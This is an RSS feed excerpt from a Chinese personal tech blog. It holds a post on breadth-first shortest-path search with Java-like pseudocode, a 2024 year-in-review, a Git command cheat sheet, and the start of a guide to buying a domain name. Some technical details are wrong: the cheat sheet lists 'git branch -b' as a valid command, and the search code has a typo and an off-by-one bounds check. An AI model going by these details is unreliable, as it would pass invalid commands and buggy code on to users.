&amp;lt;g id=&quot;Group&quot; transform=&quot;translate(94, 96.5)&quot; stroke=&quot;#979797&quot; stroke-linecap=&quot;square&quot;&amp;gt;
&amp;lt;line x1=&quot;0.5&quot; y1=&quot;103&quot; x2=&quot;1006.5&quot; y2=&quot;103&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;303.5&quot; x2=&quot;1012&quot; y2=&quot;303.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;504.5&quot; x2=&quot;1012&quot; y2=&quot;504.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;1&quot; y1=&quot;705.5&quot; x2=&quot;1007&quot; y2=&quot;705.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;6&quot; y1=&quot;906.5&quot; x2=&quot;1012&quot; y2=&quot;906.5&quot; id=&quot;Line&quot;/&amp;gt;
&amp;lt;line x1=&quot;110.5&quot; y1=&quot;6&quot; x2=&quot;110.5&quot; y2=&quot;1005&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;311&quot; y1=&quot;6.5&quot; x2=&quot;311&quot; y2=&quot;1005.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;504&quot; y1=&quot;0.5&quot; x2=&quot;504&quot; y2=&quot;999.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;706&quot; y1=&quot;4.5&quot; x2=&quot;706&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;line x1=&quot;908&quot; y1=&quot;4.5&quot; x2=&quot;908&quot; y2=&quot;1003.5&quot; id=&quot;Line-2&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;599&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;601&quot; cy=&quot;1006&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;401&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;203&quot; cy=&quot;597&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;410&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;599&quot; cy=&quot;202&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;801&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1007&quot; cy=&quot;604&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;801&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;801&quot; cy=&quot;599&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;599&quot; cy=&quot;400&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;401&quot; cy=&quot;598&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;601&quot; cy=&quot;598&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;801&quot; cy=&quot;202&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1001&quot; cy=&quot;400&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;401&quot; cy=&quot;202&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;203&quot; cy=&quot;399&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1007&quot; cy=&quot;803&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;801&quot; cy=&quot;1006&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;203&quot; cy=&quot;803&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;401&quot; cy=&quot;1007&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#FF0B0B&quot; points=&quot;1007.5 1025.25 985.458053 1036.83814 989.66769 1012.29407 971.835381 994.911863 996.479027 991.330931 1007.5 969 1018.52097 991.330931 1043.16462 994.911863 1025.33231 1012.29407 1029.54195 1036.83814&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1800&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1802&quot; cy=&quot;1006&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1602&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1404&quot; cy=&quot;597&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1611&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;1800&quot; cy=&quot;202&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2002&quot; cy=&quot;797&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2208&quot; cy=&quot;604&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#60E382&quot; cx=&quot;2002&quot; cy=&quot;399&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;2002&quot; cy=&quot;599&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1800&quot; cy=&quot;400&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#79A3F8&quot; fill=&quot;#9BD0FD&quot; cx=&quot;1602&quot; cy=&quot;598&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; stroke=&quot;#FF8D8D&quot; fill=&quot;#FD9B9B&quot; cx=&quot;1802&quot; cy=&quot;598&quot; r=&quot;19.5&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;2002&quot; cy=&quot;202&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;2202&quot; cy=&quot;400&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1602&quot; cy=&quot;202&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1404&quot; cy=&quot;399&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;2208&quot; cy=&quot;803&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;2002&quot; cy=&quot;1006&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1404&quot; cy=&quot;803&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;1602&quot; cy=&quot;1007&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;polygon id=&quot;Star&quot; fill=&quot;#FF0B0B&quot; points=&quot;2208.5 1025.25 2186.45805 1036.83814 2190.66769 1012.29407 2172.83538 994.911863 2197.47903 991.330931 2208.5 969 2219.52097 991.330931 2244.16462 994.911863 2226.33231 1012.29407 2230.54195 1036.83814&quot;/&amp;gt;
&amp;lt;circle id=&quot;Oval&quot; fill=&quot;#FFD31C&quot; cx=&quot;2208&quot; cy=&quot;803&quot; r=&quot;20&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1972.28782,584.924819 L2001.49994,598.992575 L1972.71847,613.921622 L1972.54,601.923 L1799.03712,604.499724 L1796.5374,604.536849 L1796.46315,599.5374 L1798.96288,599.500276 L1972.465,596.923 L1972.28782,584.924819 Z&quot; fill=&quot;#979797&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M1971.78782,584.424819 L2000.99994,598.492575 L1972.21847,613.421622 L1972.04,601.423 L1798.53712,603.999724 L1796.0374,604.036849 L1795.96315,599.0374 L1798.46288,599.000276 L1971.965,596.423 L1971.78782,584.424819 Z&quot; fill=&quot;#979797&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M2174.78782,584.424819 L2203.99994,598.492575 L2175.21847,613.421622 L2175.04,601.423 L2001.53712,603.999724 L1999.0374,604.036849 L1998.96315,599.0374 L2001.46288,599.000276 L2174.965,596.423 L2174.78782,584.424819 Z&quot; fill=&quot;#979797&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M2205.9943,594.994312 L2205.99999,597.494305 L2206.434,788.494 L2218.43504,788.467044 L2204.00114,817.499999 L2189.43512,788.533103 L2201.434,788.506 L2201.00001,597.505695 L2200.99431,595.005701 L2205.9943,594.994312 Z&quot; fill=&quot;#979797&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;path id=&quot;Line-3&quot; d=&quot;M2209.4943,804.494312 L2209.49999,806.994305 L2209.934,997.994 L2221.93504,997.967044 L2207.50114,1027 L2192.93512,998.033103 L2204.934,998.006 L2204.50001,807.005695 L2204.49431,804.505701 L2209.4943,804.494312 Z&quot; fill=&quot;#979797&quot; fill-rule=&quot;nonzero&quot;/&amp;gt;
&amp;lt;/g&amp;gt;
&amp;lt;/svg&amp;gt;&lt;/p&gt;
&lt;p&gt;如上图所示，在我们查找距离为 4 的点的时候，我们就能找到目标维修店，那么我们可以认定，起最短距离就是 4&lt;/p&gt;
&lt;p&gt;下面就可以考虑编码了，倘若是在算法竞赛里面（这种题连算竞入门题都不算啦），首先需要考虑的是时空效率&lt;/p&gt;
&lt;p&gt;我们首先定义一个二维数组，并在上面放上维修店，假定魔力数字 -1&lt;/p&gt;
&lt;p&gt;然后放上所有阻塞的点，假定魔力数字为 -2。数组里面数字为 0 的地方代表没有走过的点，为 1 的值则代表走过的点&lt;/p&gt;
&lt;p&gt;那么此检索最短路径的算法大概应该类似如下内容，类伪代码，不代表最终能运行品质：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[][] routines = new int[x][y];

public record Point(int x, int y) {}

public record SearchResult(boolean found, List&amp;lt;Point&amp;gt; next) {}

public int findMinimalRoutine(int[][] routines, Point customer) {
    List&amp;lt;Point&amp;gt; next = Collections.singleton(customer);
    int minimalPath = 1;

    do {
        result = findNextPoints(routines, next);
        if (result.found) {
            return minimalPath;
        }
        minimalPath += 1;
        next = result.next;
    } while (next != null &amp;amp;&amp;amp; !next.isEmpty());

    return 0;
}

public SearchResult findNextPoints(int[][] routines, List&amp;lt;Point&amp;gt; currentPoints) {
    List&amp;lt;Point&amp;gt; resultPoints = new ArraryList&amp;lt;&amp;gt;();

    for (Point currentPoint : currentPoints) {
        List&amp;lt;Point&amp;gt; nextPoints = findNextPoints(routines, currentPoint);

        for (Point nextPoint : nextPoints) {
            if (routines[nextPoint.x][nextPoint.y] == -1) {
                return new SearchResult(true, Collections.emptyList());
            }

            routines[nextPoint.x][nextPoint.y] = 1;
        }

        resultPoints.addAll(nextPoints);
    }

    return new SearchResult(false, resultPoints);
}

public List&amp;lt;Point&amp;gt; findNextPoints(int[][] routines, Point point) {
    List&amp;lt;Point&amp;gt; nextPoints = new ArraryList&amp;lt;&amp;gt;(4);

    if (availablePoint(routines, point.x - 1, point.y)) {
        nextPoints.add(new Point(point.x - 1, point.y));
    }
    if (availablePoint(routines, point.x, point.y - 1)) {
        nextPoints.add(new Point(point.x, point.y - 1));
    }
    if (availablePoint(routines, point.x + 1, point.y)) {
        nextPoints.add(new Point(point.x + 1, point.y));
    }
    if (availablePoint(routines, point.x, point.y + 1)) {
        nextPoints.add(new Point(point.x, point.y + 1));
    }

    return nextPoints;
}

private boolean availablePoint(int[][] routines, int x, int y) {
    return x &amp;gt;= 0 &amp;amp;&amp;amp; x &amp;lt; routines.length &amp;amp;&amp;amp; y &amp;gt;= 0 &amp;amp;&amp;amp; y &amp;lt;= routines[0].length &amp;amp;&amp;amp; (routines[x][y] == 0 || routines[x][y] == -1);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>2024年度总结</title><link>https://blog.hiyun.top/posts/2024%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/2024%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93/</guid><description>2024年度总结</description><pubDate>Wed, 01 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;2024 年，这一年就像做梦一样的度过，还好，我终是梦醒了，也没有睡过头&lt;/p&gt;
&lt;p&gt;这一年里，我完成了许多人生中的“第一次”：第一次交女朋友，第一次构建一台完整的服务器&lt;/p&gt;
&lt;p&gt;我亲眼目睹了我自己的人生，也看到了人生中的美好，体验了万人狂欢的热烈夜晚，也感受到了“风吹草低见牛羊”的诗意与真实&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;我的个人站点迎来了第 2 个年头。在努力学习的同时，我不断努力打造个人 IP，将我对编程事业的热爱、科技探索、软件发烧友的多重身份分享给更多人&lt;/p&gt;
&lt;p&gt;在这过程中，我也结识了许多志同道合的朋友，拓宽了自己的视野与圈子&lt;/p&gt;
&lt;p&gt;接下来是我对 2024 年的总结，想与你分享&lt;/p&gt;
&lt;h2&gt;学习&lt;/h2&gt;
&lt;p&gt;在学习中，我持续保持高质量输出，并不断提升自己的技术影响力&lt;/p&gt;
&lt;p&gt;在项目中，我逐渐担任核心研发角色，并成功迈入开发工程师的行列，迎来了个人专业发展的重要里程碑&lt;/p&gt;
&lt;p&gt;回望今年，也是我学习前后端技术的第三年&lt;/p&gt;
&lt;p&gt;这段旅程充满挑战，但也伴随着成长与喜悦&lt;/p&gt;
&lt;h2&gt;站点&lt;/h2&gt;
&lt;p&gt;今年，我的站点终于在静态化的阵营中稳稳站住了脚&lt;/p&gt;
&lt;p&gt;经过不断摸索，我逐步完善并打造出了一套专属的部署模式，兼具高效性与性价比，让站点的运维更加从容&lt;/p&gt;
&lt;p&gt;同时，我也在持续努力创作优质文章，不断丰富站点的内容&lt;/p&gt;
&lt;p&gt;今年，看到更多人关注我的分享，倍感欣慰与动力十足&lt;/p&gt;
&lt;h2&gt;开源&lt;/h2&gt;
&lt;p&gt;今年的开源主要体现在博客和站点的维护上&lt;/p&gt;
&lt;p&gt;但其实，分享文章与传播技术，又何尝不是另一种形式的开源呢&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2025/01/02/sCARv3iSTftwcYK.png&quot; alt=&quot;AsZer0s - GitHub - 2024&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;生活&lt;/h2&gt;
&lt;p&gt;今年，是我人生中最难忘的一年&lt;/p&gt;
&lt;p&gt;感激家人一直以来的陪伴与关怀，而我最想感谢的，是在我最艰难的时候始终陪伴在身边、鼓励我的她&lt;/p&gt;
&lt;p&gt;这一场如梦般的经历，好在我醒了过来，并且没有睡过头&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;2024 年，收获了很多，也得到了很多&lt;/p&gt;
&lt;p&gt;人生很长、要经历无数悲欢离合、阴晴圆缺，人生又很短、岁岁年年转瞬即逝、不得停留&lt;/p&gt;
&lt;p&gt;珍惜当下、过好每一天、与自己的爱人、亲人和朋友&lt;/p&gt;
&lt;p&gt;最后，感谢你的阅读，让我们 2025 年变得更强～&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hiyun.top/&quot;&gt;AsZer0s&lt;/a&gt; - &lt;a href=&quot;https://blog.hiyun.top/&quot;&gt;Zer0Teams&lt;/a&gt;
2025 年，新年快乐！&lt;/p&gt;
</content:encoded></item><item><title>Git常用命令汇总</title><link>https://blog.hiyun.top/posts/git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B1%87%E6%80%BB/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B1%87%E6%80%BB/</guid><description>Git常用命令汇总</description><pubDate>Sat, 28 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;教你使用 Git 基本操作&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;常规操作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git push origin test&lt;/code&gt; 推送本地分支到远程仓库&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git rm -r --cached&lt;/code&gt; 文件/文件夹名字 取消文件被版本控制&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git reflog&lt;/code&gt; 获取执行过的命令&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git log --graph&lt;/code&gt; 查看分支合并图&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git merge --no-ff -m &apos;合并描述&apos;&lt;/code&gt; 分支名不使用 &lt;code&gt;Fast forward&lt;/code&gt; 方式合并，采用这种方式合并可以看到合并记录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git check-ignore -v 文件名&lt;/code&gt; 查看忽略规则&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git add -f 文件名&lt;/code&gt; 强制将文件提交&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Git 创建项目仓库&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git init&lt;/code&gt; 初始化&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git remote add origin url&lt;/code&gt; 关联远程仓库&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git pull&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git fetch&lt;/code&gt; 获取远程仓库中所有的分支到本地&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;忽略已加入到版本库中的文件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git update-index --assume-unchanged file&lt;/code&gt; 忽略单个文件&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git rm -r --cached 文件/文件夹名字&lt;/code&gt; (. 忽略全部文件)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;取消忽略文件&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git update-index --no-assume-unchanged file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;拉取、上传免密码&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git config --global credential.helper store&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;分支操作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git branch&lt;/code&gt; 创建分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -b&lt;/code&gt; 创建并切换到新建的分支上&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git checkout&lt;/code&gt; 切换分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch&lt;/code&gt; 查看分支列表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -v&lt;/code&gt; 查看所有分支的最后一次操作&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -vv&lt;/code&gt; 查看当前分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -b 分支名 origin/分支名&lt;/code&gt; 创建远程分支到本地&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch --merged&lt;/code&gt; 查看别的分支和当前分支合并过的分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch --no-merged&lt;/code&gt; 查看未与当前分支合并的分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -d 分支名&lt;/code&gt; 删除本地分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -D 分支名&lt;/code&gt; 强行删除分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push origin --delete 分支名&lt;/code&gt; 删除远程仓库分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git merge 分支名&lt;/code&gt; 合并分支到当前分支上&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;暂存操作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git stash&lt;/code&gt; 暂存当前修改&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git stash apply&lt;/code&gt; 恢复最近的一次暂存&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git stash pop&lt;/code&gt; 恢复暂存并删除暂存记录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git stash list&lt;/code&gt; 查看暂存列表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git stash drop 暂存名&lt;/code&gt; (例：stash@{0}) 移除某次暂存&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git stash clear&lt;/code&gt; 清除暂存&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;回退操作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git reset --hard HEAD^&lt;/code&gt; 回退到上一个版本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git reset --hard commitId&lt;/code&gt; 回退到某个版本&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git checkout -- file&lt;/code&gt; 撤销修改的文件(如果文件加入到了暂存区，则回退到暂存区的，如果文件加入到了版本库，则还原至加入版本库之后的状态)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git reset HEAD file&lt;/code&gt; 撤回暂存区的文件修改到工作区&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;标签操作&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git tag 标签名&lt;/code&gt; 添加标签(默认对当前版本)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git tag 标签名 commitId&lt;/code&gt; 对某一提交记录打标签&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git tag -a 标签名 -m &apos;描述&apos;&lt;/code&gt; 创建新标签并增加备注&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git tag&lt;/code&gt; 列出所有标签列表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git show 标签名&lt;/code&gt; 查看标签信息&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git tag -d 标签名&lt;/code&gt; 删除本地标签&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push origin 标签名&lt;/code&gt; 推送标签到远程仓库&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push origin --tags&lt;/code&gt; 推送所有标签到远程仓库&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git push origin :refs/tags/标签名&lt;/code&gt; 从远程仓库中删除标签&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;远程仓库&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git remote -v&lt;/code&gt; 查看远程仓库地址&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git remote show origin&lt;/code&gt; 查看远程仓库详情信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;查看某个 commit 提交属于哪个分支&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;git branch -l --contains &amp;lt;commit_id&amp;gt;&lt;/code&gt; 本地分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch -r --contains &amp;lt;commit_id&amp;gt;&lt;/code&gt; 远程分支&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git branch --all --contains &amp;lt;commit_id&amp;gt;&lt;/code&gt; 所有分支&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>我想要一个域名，我该如何选购</title><link>https://blog.hiyun.top/posts/%E6%88%91%E6%83%B3%E8%A6%81%E4%B8%80%E4%B8%AA%E5%9F%9F%E5%90%8D%E6%88%91%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E8%B4%AD/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E6%88%91%E6%83%B3%E8%A6%81%E4%B8%80%E4%B8%AA%E5%9F%9F%E5%90%8D%E6%88%91%E8%AF%A5%E5%A6%82%E4%BD%95%E9%80%89%E8%B4%AD/</guid><description>我想要一个域名，我该如何选购</description><pubDate>Thu, 26 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文章来自 &lt;a href=&quot;https://blog.auriel.top/&quot;&gt;Aurielの博客&lt;/a&gt;
原文章地址请戳 &lt;a href=&quot;https://blog.auriel.top/post/dd83a796/#%E9%9C%80%E8%A6%81%E9%81%BF%E5%85%8D%E7%9A%84%E4%BA%8B%E9%A1%B9&quot;&gt;Aurielの博客-新手建站（一）：从一个有意义的域名开始&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;域名是什么？&lt;/h2&gt;
&lt;p&gt;网域名称（英语：Domain Name，简称：Domain）
简称域名、网域，是由一串用点分隔的字符组成的互联网上某一台电脑或电脑组的名称，用于在数据传输时标识电脑的电子方位
域名可以说是一个IP地址的代称，目的是为了便于记忆后者&lt;/p&gt;
&lt;p&gt;IP地址是因特网主机的作为路由寻址用的数字体标识，不容易记忆
因而产生了域名这一种字符型标识，它比IP地址更容易记忆
这也是域名的一个重要功能——为数字化的互联网资源提供易于记忆的名称&lt;/p&gt;
&lt;p&gt;另外，域名具有唯一性，在资源更改IP地址时，只需要进行新IP地址与恒定域名的转换
即可实现将资源移动到网络地址拓扑中的不同物理位置
基于以上两个特性，域名还用于创建个体的唯一标识
任何组织和个人在提供因特网资源时，都可以选择与其名称对应的域名，让其他人轻松访问这些资源&lt;/p&gt;
&lt;h2&gt;域名的重要性&lt;/h2&gt;
&lt;p&gt;选择一个合适的域名是进军网络世界的一个重要步骤
网站用户会通过您的域名建立起对您的企业或组织的初步印象
因此，一个令人印象深刻的域名有助于激发用户的兴趣并吸引 Web 流量&lt;/p&gt;
&lt;h2&gt;选择域名后缀&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;域名后缀&lt;/th&gt;
&lt;th&gt;有关说明（联想意较多，在此省略）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;.com&lt;/td&gt;
&lt;td&gt;商业机构，现在任何人都可以注册&lt;/td&gt;
&lt;/tr&gt;
